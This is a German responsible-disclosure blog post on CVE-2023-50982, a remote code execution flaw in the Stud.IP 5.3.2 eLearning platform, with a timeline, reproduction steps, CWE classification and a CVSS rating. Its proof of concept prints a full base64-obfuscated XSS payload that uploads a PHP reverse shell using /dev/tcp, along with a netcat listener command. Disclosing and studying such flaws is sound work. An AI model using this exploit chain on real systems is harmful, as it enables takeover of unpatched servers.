Weitere Veröffentlichungen

In unserem Labor schreiben wir regelmäßig in Form von Blogbeiträgen über identifizierte Sicherheitslücken, welche nach dem Responsible Disclosure Verfahren veröffentlicht werden.

Veröffentlichung (CVE-2023-50982)

Remote Code Execution in Stud.IP (eLearning platform)

08.01.2024 - Rene Rehme

Es wurde eine Remote Code Execution (RCE) Sicherheitslücke in Stud.IP v5.3.2 (Release vom 04.10.2023) entdeckt. Gefunden wurde eine Schwachstelle im Administrativen Bereich Smileys, welche es ermöglicht eine RCE durchzuführen, indem Schadcode über eine unzureichend geschützte Uploadfunktionalität innerhalb des documentRoot abgelegt und ausgeführt werden konnte.

Responsible Disclosure

25. Sep. 2023 - Die Sicherheitslücke wurde identifiziert.
26. Sep. 2023 - Die Sicherheitslücke wurde an stud.IP gemeldet.
29. Sep. 2023 - stud.IP bestätigt den Erhalt des Reports.
06. Okt. 2023 - stud.IP bestätigt, dass die Sicherheitslücke geschlossen wurde.
28. Dez. 2023 - Patched stud.IP-Release: v5.3.4, v5.2.6, v5.1.7, v5.0.9

Allgemeine Beschreibung

Die Ausnutzung der Sicherheitslücke muss durch Cross Site Scripting (XSS) erfolgen, da hohe Privilegien (Rolle root) benötigt werden. Im Zuge der Ausforschung wurden mehrere XSS Sicherheitslücken entdeckt, welche hierfür in Frage kommen. Diese konnten sich mit einem normalen User-Account bewerkstelligen lassen.

Unter bestimmten vorherrschenden Bedingungen ist eine XSS Sicherheitslücke für die Ausnutzung der RCE auch ohne User-Account möglich.

 

In Kombination der gefundenen Schwachstellen, konnte ein kritischer Impact erzielt werden.

Ein potenzieller Angreifer könnte mit einer erfolgreicher Ausnutzung, Zugriff auf die Applikation und das zugrunde liegende Betriebsystem (mit den Rechten des Webserver-User www-data) erlangen.

Proof of Concept (PoC)

Reproduktion der Sicherheitslücke

Reproduktionsschritte

Um den PoC zu reproduzieren, werden zwei Schwachstellen in Kombination verwendet:
 

Mit einem Account zur Bereitstellung von Lernmaterialien, beispielsweise mit der Rolle „Dozent“, kann im OER Campus-Bereich die Option Meine Materialien (/dispatch.php/oer/mymaterial) ausgewählt werden, gefolgt von der Auswahl Neues Lernmaterial hochladen. Im darauf erscheinenden Formular kann ein individueller Titel festgelegt, und eine HTML-Datei über die Funktion Vorschau-Bilddatei (optional) hochgeladen werden.

 

Normalerweiße ist es vorgesehen hierüber nur Dateiformate hochzuladen, die einer Bilddatei entsprechen. Nach dem Absenden des Formulars, wird die Methode edit_action() der Klasse Oer_MymaterialController angesprochen, worüber keine Überprüfung auf einen gültigen Image MimeType der hochgeladenen Datei erfolgt. Hier können also beliebige Dateiformate hochgeladen werden. Wir verwenden die Funktion, um eine HTML-Datei hochzuladen, welche Schadcode in Form von JavaScript beinhaltet. Bei interpretation wird eine Payload ausgeführt, welche zu einer Eskalation genutzt wird.

 

In der HTML-Datei wird folgende Payload hinterlegt:

payload
<html><body><script>eval(atob('Y29uc3QgYmFzZVVyaT13aW5kb3cubG9jYXRpb24ucHJvdG9jb2wrIi8vIit3aW5kb3cubG9jYXRpb24uaG9zdDtmZXRjaChiYXNlVXJpKyIvZGlzcGF0Y2gucGhwL2FkbWluL3NtaWxleXMvdXBsb2FkL2EiKS50aGVuKGU9PmUudGV4dCgpKS50aGVuKGU9Pntjb25zdCB0PShuZXcgRE9NUGFyc2VyKS5wYXJzZUZyb21TdHJpbmcoZSwidGV4dC9odG1sIik7cmV0dXJuIHNlY3VyaXR5VG9rZW5JbnB1dD10LnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W25hbWU9InNlY3VyaXR5X3Rva2VuIl0nKS5nZXRBdHRyaWJ1dGUoInZhbHVlIil9KS50aGVuKGU9PmZldGNoKGJhc2VVcmkrIi9kaXNwYXRjaC5waHAvYWRtaW4vc21pbGV5cy91cGxvYWQvYSIse2NyZWRlbnRpYWxzOiJpbmNsdWRlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoibXVsdGlwYXJ0L2Zvcm0tZGF0YTsgYm91bmRhcnk9LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tQUJDREUifSxyZWZlcnJlcjpiYXNlVXJpKyIvZGlzcGF0Y2gucGhwL2FkbWluL3NtaWxleXMiLGJvZHk6Jy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tQUJDREVcbkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic2VjdXJpdHlfdG9rZW4iXG5cbicrZSsnXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLUFCQ0RFXG5Db250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InNtaWxleV9maWxlIjsgZmlsZW5hbWU9InNoZWxsLnBocCJcbkNvbnRlbnQtVHlwZTogaW1hZ2UvanBlZ1xuXG48P3BocCBleGVjKCIvYmluL2Jhc2ggLWMgXCdiYXNoIC1pID4mIC9kZXYvdGNwLyIuJF9HRVRbXCdpcFwnXS4iLzEyMzQgMD4mMVwnIik7Pz5cblxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1BQkNERVxuQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ1cGxvYWQiXG5cblxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1BQkNERS0tXG4nLG1ldGhvZDoiUE9TVCIsbW9kZToiY29ycyJ9KSkudGhlbigoKT0+ZmV0Y2goYmFzZVVyaSsiL3BpY3R1cmVzL3NtaWxlL3NoZWxsLnBocD9pcD0xMjcuMC4wLjEiLHttZXRob2Q6IkdFVCJ9KSk7'));</script></body></html>

Dieser Base64 encodierte JavaScript-Code führt im Wesentlichen eine Dateiübertragung (Upload) und anschließend einen Remote-Code-Ausführung (Remote Code Execution, RCE) aus. 

 

Konstantenfestlegung: Es wird eine Konstante baseUri definiert, die den Basis-URI der aktuellen Webseitenadresse enthält. Der Basis-URI besteht aus dem Protokoll und dem Hostnamen.

 

Abrufen eines Sicherheitstokens: Die fetch-Funktion wird verwendet, um eine Anfrage an den Server zu senden, um die Inhalte der URL baseUri + "/dispatch.php/admin/smileys/upload/a" abzurufen. Sobald die Antwort empfangen wird, wird der HTML-Inhalt dieser Antwort als Text extrahiert. Dann wird ein Sicherheitstoken aus dem HTML-Inhalt extrahiert. Dieses Token wird später für die Authentifizierung bei einer anderen Anfrage verwendet.

 

Dateiübertragung: Ein weiterer fetch-Aufruf wird gemacht, um eine Datei an den Server zu übertragen. Die Anfrage enthält das Sicherheitstoken sowie den Dateiinhalt, der als Teil des Body übergeben wird. Der Dateiinhalt enthällt PHP-Code, der darauf abzielt, eine Shell zu öffnen.

 

Remote-Code-Ausführung (RCE): Durch das Hochladen und Ausführen der PHP-Datei mit dem bösartigen Code wird versucht, eine Shell-Verbindung zu einem bestimmten Host und einer bestimmten Portnummer herzustellen (127.0.0.1 und Port 1234 in diesem Fall).

 

Abschluss: Schließlich wird eine GET-Anfrage an die hochgeladene PHP-Datei gesendet, um den Code auszuführen und eine Verbindung zu der angegebenen IP-Adresse und Portnummer herzustellen.

Nachdem der Eintrag erstellt wurde, kann aus der Adressleiste die generierte ID kopiert werden. bsp: /dispatch.php/oer/market/details/32ac0e22f59edfe775441d237c8c97cc

Als nächstes muss ein weiteres Lernmaterial erstellt werden. Diesesmal mit dem Titel FINAL und der folgenden URL im Formularfeld Vorschau-URL (optional):
/dispatch.php/oer/endpoints/download_front_image/32ac0e22f59edfe775441d237c8c97cc/inline

Die ID innerhalb der URL entspricht der zuvor kopierten ID. Das Protokoll und die Domain müssen ebenfalls entsprechend der eigenen Instanz angegeben werden.

Über den Button Hochladen wird der Vorgang abgeschlossen.

Logge dich aus und mit einem Account mit der Rolle root wieder ein.

Navigiere auf das Lernmaterial FINAL. Die Payload wird mit dem Seitenaufruf ausgeführt und verbindet den Webserver mit dem System des Angreifers.

Beschreibung der Payload

Über einen Endpunkt wird eine GET-Anfrage an die spezifische URL für das Smileys-Upload-Formular gesendet. Folgend wird Response der Anfrage analysiert, um den Sicherheitstoken (securityToken) zu extrahieren. Anschließend wird über einen nächsten Endpunkt eine POST-Anfrage an die selbe URL gesendet, um eine bösartige Datei (shell.php) hochzuladen. Die Anfrage enthält den zuvor extrahierten Sicherheitstoken und eine PHP-Payload.

Background: Im Bereich Admin -> Settings -> Smileys können von einem priviligierten Nutzer Bilddateien hochgeladen werden. Beim Versuch eine Datei hochzuladen, welche keiner Bilddatei entspricht, wird bei normaler Applikationsnutzung eine Fehlermeldung ausgegeben. Hierbei wird Backendseitig nur der Mime Type anhand der Angabe Content-Type des POST Bodies auf image gegengeprüft:

Admin_SmileysController
// Admin_SmileysController -> upload_action()
$no_image = !empty($upload['type']) && mb_substr($upload['type'], 0, 5) != 'image';

Wird der POST-Request so modifiziert, dass der Mime Type weiterhin valide erscheint (z.B. Content-Type: image/jpeg), den filename aber mit einer .php Dateiendung versieht (z.B. filename="shell.php"), erfolgt der Upload dennoch mit einer 200 Header-Response erfolgreich. Die Datei wird unter /public/pictures/smile abgelegt und kann via /pictures/smile/shell.php ausgeführt werden.

Die Payload in der PHP-Datei (<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/".$_GET['ip']."/1234 0>&1'");?>) versucht also eine Bash-Shell auf dem Server zu öffnen und eine Reverse Shell-Verbindung zu der angegebenen IP-Adresse über $_GET['ip'] und Port 1234 herzustellen. Die IP-Adresse wird beim Aufruf der Datei über den URL Anfrage-Parameter id ermittelt.

 

Nachdem die bösartige Datei hochgeladen wurde, wird eine Anfrage an eine URL gesendet, die die Shell.php Datei ausführt und dabei versucht, eine Reverse Shell-Verbindung zu der angegebenen IP-Adresse des Angreifers (in unserem Fall localhost) herzustellen. Sollte die Payload durch einen root User ausgeführt werden und der Angreifer über den netcat Befehl mit dem Port 1234 auf den Verbindungsaufbau wartet, erfolgt die Verbindung zum Webserver. 

CLI
nc -nlvp 1234
test

Natürlich ist auch die Hinterlegung jeder anderen Art von Schadcode denkbar und möglich. z.B. eine Webshell.

Klassifikation

CWE-434: Unrestricted Upload of File with Dangerous Type
CWE-79: Improper Neutralization of Input During Web Page

Bewertung

Exploitability Metrics

Attack Vector (AV): N
Es handelt sich um einen Netzwerkangriff. Die verwundbare Komponente ist "aus der Ferne ausnutzbar" und wird als ein Angriff betrachtet, der auf Protokollebene über das Internet stattfindet.
 

Attack Complexity (AC): L
Besondere Zugangsbedingungen oder mildernde Umstände bestehen nicht.
 

Attack Requirements (AT): N
Es wird davon ausgehen, dass die Payload in den meisten Fällen erfolgreich ausgeführt wird. Es werden keine besonderen Einstellungen oder Konfigurationen vorrausgesetzt.
 

Privileges Required (PR): L
Der Angreifer benötigt Privilegien, die grundlegende Benutzerfunktionen eines Users bereitstellen. Für eine Ausnutzung reicht i.d.R ein User-Account.
 

User Interaction (UI): A
Es ist eine User-Interaktion durch ein Opfer notwendig. Ein priviligierter Nutzer muss eine bestimmte Seite (das Lehrmaterial des Angreifers) aufrufen.

Vulnerable System Impact Metrics

Confidentiality (VC): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen innerhalb der betroffenen Komponente werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt.
 

Integrity (VI): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage Dateien der betroffenen Komponente (der Anwendung) zu verändern.
 

Availability (VA): H
Bei einem erfolgreichen Angriff ist der Angreifer ist in der Lage, den Zugang zu den Ressourcen der betroffenen Komponente vollständig zu verweigern, indem z.B. Dateien oder Daten gelöscht werden.

Subsequent System Impact Metrics

Confidentiality (SC): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Vertraulichkeit. Ressourcen und Komponenten des Betriebssystems werden dem Angreifer bei gegebenem Lesezugriff und entsprechender Berechtigung durch den Webserver-User www-data offengelegt. Der Zugriff auf MySQL oder andere Komponenten wird ermöglicht.
 

Integrity (SI): H
Bei einem erfolgreichen Angriff kommt es zu einem totalen Verlust der Integrität. Der Angreifer ist in der Lage Dateien des Betriebssystems zu verändern.
 

Availability (SA): H
Bei einem erfolgreichen Angriff ist der Angreifer ist in der Lage, den Zugang zu den Ressourcen aus Komponenten des Betriebssystems vollständig zu verweigern, indem z.B. Dateien oder Daten gelöscht werden.

Externe Informationen